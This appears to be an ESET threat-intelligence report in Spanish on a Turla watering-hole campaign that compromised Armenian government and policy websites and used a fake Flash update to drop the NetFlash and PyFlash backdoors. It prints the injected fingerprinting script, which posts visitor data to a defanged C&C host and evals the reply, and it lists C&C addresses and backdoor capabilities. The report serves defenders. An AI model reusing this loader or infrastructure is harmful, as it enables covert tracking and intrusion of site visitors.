Investigadores de ESET descubrieron una operación de watering hole (método de ataque que consiste en comprometer un sitio web estratégico) dirigida a varios sitios web armenios de alto perfil. Se basa en una falsa actualización de Adobe Flash como señuelo para distribuir dos piezas de malware previamente indocumentadas que hemos denominado NetFlash y PyFlash.

Varios aspectos de esta campaña nos llevan a atribuir esta operación a Turla, un infame grupo de espionaje que ha estado activo durante más de diez años. Sus objetivos principales incluyen organizaciones gubernamentales y militares. Anteriormente hemos reportado múltiples campañas de este grupo, incluidas Mosquito y LightNeuron.

Esta reciente operación que hemos descubierto tiene similitudes con varias de las campañas de watering hole de Turla que hemos rastreado en los últimos años. En particular, el modus operandi es similar a una campaña que descubrimos en 2017. Las diversas piezas de JavaScript utilizadas en esa oportunidad son prácticamente idénticas a las de esta campaña, pero los objetivos y los payloads son diferentes.

Sitios web apuntados

En esta operación específica, Turla ha comprometido al menos cuatro sitios web armenios, incluidos dos pertenecientes al gobierno. Por lo tanto, es probable que los objetivos incluyan a funcionarios gubernamentales y políticos.

Según la telemetría de ESET, los siguientes sitios web se vieron comprometidos:

  • armconsul[.]ru: El Consulado de la Embajada de Armenia en Rusia
  • mnp.nkr[.]am: Ministerio de Protección de la Naturaleza y Recursos Naturales de la República de Artsaj
  • aiisa[.]am: Instituto Armenio de Asuntos Internacionales y de Seguridad
  • adgf[.]am: El Fondo de Garantía de Depósitos de Armenia

Tenemos indicios de que estos sitios web se vieron comprometidos al menos desde principios de 2019. Notificamos al CERT de Armenia y compartimos nuestro análisis con ellos antes de su publicación.

Los operadores de Turla aprovecharon métodos desconocidos para acceder a estos sitios web e insertar un fragmento de código JavaScript malicioso. Por ejemplo, para mnp.nkr[.]am, agregaron código ofuscado al final de jquery-migrate.min.js (una biblioteca JavaScript común), tal como se puede apreciar en la Figura 1.

Figura 1. Código JavaScript ofuscado inyectado en el sitio web mnp.nkr [.] Am

Este código carga un JavaScript externo desde skategirlchina[.]com/wp-includes/data_from_db_top.php. Analizamos este código en la siguiente sección.

Desde finales de noviembre de 2019, notamos que skategirlchina[.]com ya no estaba distribuyendo scripts maliciosos, lo cual parecía como si los operadores de Turla hubieran suspendido esta operación de watering hole.

Huella digital y distribución de malware

Al visitar una página web comprometida, el JavaScript malicioso de la segunda etapa es entregado por skategirlchina[.]com y captura la huella digital del navegador del visitante. La Figura 2 muestra la función principal de este script

Si es la primera vez que el navegador del usuario ejecuta el script, agregará una evercookie con un valor MD5 de apariencia aleatoria proporcionado por el servidor, diferente en cada ejecución del script. La implementación de la evercookie se basa en el código disponible en GitHub. Para almacenar el valor de la cookie utiliza múltiples lugares de almacenamiento, como la base de datos local, objetos compartidos locales (cookies Flash), almacenamiento Silverlight, etc. En comparación con una cookie normal, será mucho más persistente, ya que no se eliminará si el usuario simplemente elimina las cookies del navegador.

Esta evercookie se usará para rastrear si el usuario visita nuevamente uno de los sitios web comprometidos. Cuando el usuario regrese por segunda vez, el valor MD5 previamente almacenado se usará para identificarlos.

Luego, recopila varias piezas de información, incluida la lista de complementos para el navegador, la resolución de pantalla y diversa información del sistema operativo. Esto se envía al servidor de C&C en una solicitud POST. En caso de que haya una respuesta, suponemos que será un código JavaScript que se ejecuta utilizando la función eval.

[…]
function f_ec(){
    var ec = new evercookie({domain:'http://skategirlchina[.]com/wp-includes/data_from_db_top.php',baseurl:'?http://skategirlchina[.]com/wp-includes/data_from_db_top.php'});
    ec.get("ec", function(value) {
        if (value!=undefined){
            var jsonText = {'ec': ''+value+'',
                            'scp':screen.pixelDepth==undefined?''+0+'':''+screen.pixelDepth+'',
                            'scw':''+screen.width+'',
                            'sch':''+screen.height+'',
                            'bn':''+bn+'',
                            'bv':''+bv+'',
                            'bc':''+bc+'',
                            'osn':''+osn+'',
                            'osv':''+osv+'',
                            'osc':''+osc+'',
                            'adr':''+adr+'',
                            'pdr':''+pdr+'',
                            'fla':''+fla+'',
                            'jav':''+jav+'',
                            'wmp':''+wmp+'',
                            'msw':''+msw+'',
                            'qui':''+qui+'',
                            'sho':''+sho+'',
                             'type':'info',
                            'tiz': ''+(new Date().getTimezoneOffset()/60)+''
                            };
                var json = JSON.stringify(jsonText);

                 ajax({
                content_type : 'application/json',
                url:  'http://skategirlchina[.]com/wp-includes/data_from_db_top.php?http://skategirlchina[.]com/wp-includes/data_from_db_top.php',
                crossDomain: true,
                type: 'POST',
                data: json,
                onSuccess: function(m){
                    eval(m);
                }
            });
        }
        else{
           ec.set('ec', '<redacted MD5 value>');
           setTimeout(f_ec,1500);
        }

Figura 2. Script de huella digital (URL maliciosas desactivadas)

Si el visitante se considera interesante, el servidor responde con un código JavaScript que crea un iframe. Los datos de la telemetría de ESET sugieren que, para esta campaña, solo un número muy limitado de visitantes fueron considerados interesantes por los operadores de Turla.

Este iframe muestra al usuario una falsa advertencia de actualización de Adobe Flash, tal como se aprecia en la Figura 3, con el fin de engañarlos para que descarguen un instalador Flash malicioso.

Figura 3. Iframe de la falsa actualización de Adobe Flash

No observamos el uso de ninguna vulnerabilidad en el navegador. El intento de compromiso se basa solo en este truco de ingeniería social. Una vez que el ejecutable malicioso se descarga del mismo servidor que el JavaScript para el iframe, y si el usuario lo inicia manualmente, se instala una variante de malware de Turla y una versión legítima de Adobe Flash.

La Figura 4 es una descripción general del proceso de compromiso, desde la visita inicial de uno de los sitios web armenios comprometidos hasta la entrega de un payload malicioso.

Figura 4. Descripción general de la operación de watering hole

Malware

Una vez que el usuario ejecuta el falso instalador, ejecutará tanto una variante de malware de Turla como un instalador legítimo de Adobe Flash. Por lo tanto, es probable que el usuario crea que la advertencia de actualización haya sido legítima.

Antes de septiembre de 2019: Skipper

Antes de que finalice agosto de 2019, la víctima hubiera recibido un archivo RAR-SFX que contenía un instalador legítimo Adobe Flash v14 y un segundo archivo RAR-SFX. Este último contiene los diversos componentes de un backdoor conocido como Skipper, que se ha atribuido previamente a Turla. Fue documentado en 2017 por investigadores de Bitdefender, mientras que en mayo de 2019 Telsy documentó una versión más reciente.

Dado que solo hay cambios menores entre las versiones documentadas y las más recientes, no proporcionaremos un análisis detallado aquí.

Un cambio interesante es que el módulo de comunicación de Skipper utiliza como su servidor de C&C el servidor que aloja los JavaScripts remotos de esta campaña y los binarios maliciosos, más específicamente skategirlchina[.]com/wp-includes/ms-locale.php.

Desde septiembre de 2019: NetFlash y PyFlash

A finales de agosto de 2019, notamos que el payload entregado por skategirlchina[.]com cambió.

NetFlash (downloader.NET)

El nuevo payload era una aplicación .NET que droppeo un instalador para Adobe Flash v32 en %TEMP%\adobe.exe, y NetFlash (un downloader .NET) en %TEMP%\winhost.exe.

Según las marcas de tiempo de compilación, las muestras de malware fueron compiladas a fines de agosto de 2019 y a principios de septiembre de 2019, justo antes de cargarse en el servidor C&C de watering hole.

NetFlash descarga su malware de segunda etapa desde una URL hardcodeada y establece persistencia para este nuevo backdoor utilizando una tarea programada de Windows. La Figura 5 muestra la función NetFlash que descarga el malware de segunda etapa, llamado PyFlash. También encontramos otra muestra de NetFlash, probablemente compilada a fines de agosto de 2019, con un servidor C&C hardcodeado diferente: 134.209.222[.]206:15363.

Figura 5. Función principal de NetFlash

PyFlash

Este backdoor de segunda etapa es un ejecutable py2exe. Py2exe es una extensión de Python para convertir un script de Python en un ejecutable standalone para Windows. Hasta donde sabemos, esta es la primera vez que los desarrolladores de Turla utilizan el lenguaje Python en un backdoor.

El backdoor se comunica con su servidor C&C hardcodeado a través de HTTP. La URL de C&C, y otros parámetros como la clave AES y IV utilizados para cifrar todas las comunicaciones de red, se especifican al comienzo del script, como se muestra en la Figura 6.

Figura 6. Variables globales en el script PyFlash en Python

La función principal del script, que se muestra en la Figura 7, envía al servidor C&C información sobre la máquina. Este es el resultado de las funciones de la lista de comandos que se ve en la Figura 6. Incluye comandos relacionados con el sistema operativo (systeminfo, tasklist) y comandos relacionados con la red (ipconfig, getmac, arp).

Figura 7. Función principal de PyFlash

El servidor C&C también puede enviar comandos de backdoor en formato JSON. Los comandos implementados en esta versión de PyFlash son:

  • Descargar archivos adicionales de un enlace HTTP (S) dado.
  • Ejecutar un comando de Windows utilizando la función Python subprocess32.Popen.
  • Cambiar el retraso de ejecución: modifica la tarea de Windows que regularmente (cada X minutos; 5 por defecto) lanza el malware.
  • Mata (desinstala) el malware. Para confirmar esta instrucción el malware envía una solicitud POST al servidor de C&C con la siguiente string:

I'm dying :(
Tell my wife that i love her...

Luego, el output del comando se envía de vuelta a los operadores, cifrado con AES, a través de una solicitud POST.

Conclusión

Turla todavía está utilizando los ataques de watering hole como una de sus tácticas de acceso inicial. Curiosamente, esta campaña se basa en un conocido truco de ingeniería social: una falsa advertencia de actualización de Adobe Flash para inducir al usuario a descargar e instalar malware.

Por otro lado, el payload ha cambiado, probablemente para evadir la detección, dado que Skipper se conoce desde hace muchos años. Cambiaron a NetFlash, que instala un backdoor que llamamos PyFlash y que es desarrollado en Python.

We will continue monitoring new Turla activities and will publish relevant information on our blog. For any inquiries, contact us as threatintel@eset.com. Indicators of Compromise can also be found on our GitHub repository.

Indicadores de Compromiso (IoCs)

Sitios web comprometidos

  • http://www.armconsul[.]ru/user/themes/ayeps/dist/js/bundle.0eb0f2cb2808b4b35a94.js
  • http://mnp.nkr[.]am/wp-includes/js/jquery/jquery-migrate.min.js
  • http://aiisa[.]am/js/chatem/js_rA9bo8_O3Pnw_5wJXExNhtkUMdfBYCifTJctEJ8C_Mg.js
  • adgf[.]am

Servidores C&C

  • http://skategirlchina[.]com/wp-includes/data_from_db_top.php
  • http://skategirlchina[.]com/wp-includes/ms-locale.php
  • http://37.59.60[.]199/2018/.config/adobe
  • http://134.209.222[.]206:15363
  • http://85.222.235[.]156:8000

Muestras

SHA-1 Timestamp Description ESET Detection Name
973620A7AB28A2CBA82DC2A613CD24ED43734381 Thu Aug 29 04:14:46 UTC 2019 NetFlash Dropper MSIL/Turla.D
B6567F988C9ACC5DF3CBD72409FC70D54EA412BB Tue Sep 3 11:12:04 UTC 2019 NetFlash MSIL/Turla.D
9F81710B85AA7088505C1EECCE9DA94A39A2DC06 Thu Aug 29 04:12:33 UTC 2019 NetFlash MSIL/Turla.F
32430B11E42EDEB63A11E721927FFBABE7C9CFEA N/A PyFlash Win32/Turla.EM
620A669EC0451C9F079FB4731F254AC577902E5E Wed Aug 29 09:43:18 UTC 2018 Skipper communication DLL Win32/Turla.EJ

Técnicas de MITRE ATT&CK

Tactic ID Name Description
Initial Access T1189 Drive-by Compromise Turla compromised high-value websites to deliver malware to the visitors.
Execution T1204 User Execution A fake Flash installer is intended to trick the user into launching the malware.
Persistence T1053 Scheduled Task NetFlash and PyFlash persist using scheduled tasks.
Discovery T1016 System Network Configuration Discovery PyFlash executes ipconfig /all, getmac and arp -a
T1057 Process Discovery PyFlash executes tasklist
T1082 System Information Discovery PyFlash executes systeminfo
Command and Control T1032 Standard Cryptographic Protocol PyFlash uses AES-128 in CBC mode to encrypt C&C communications.
T1043 Commonly Used Port NetFlash uses port 80.
T1065 Uncommonly Used Port PyFlash uses port 8,000.
A NetFlash sample uses port 15,363.
T1071 Standard Application Layer Protocol NetFlash and PyFlash use HTTP.
Exfiltration T1041 Exfiltration Over Command and Control Channel The output of PyFlash surveillance and C&C commands are exfiltrated using the C&C protocol.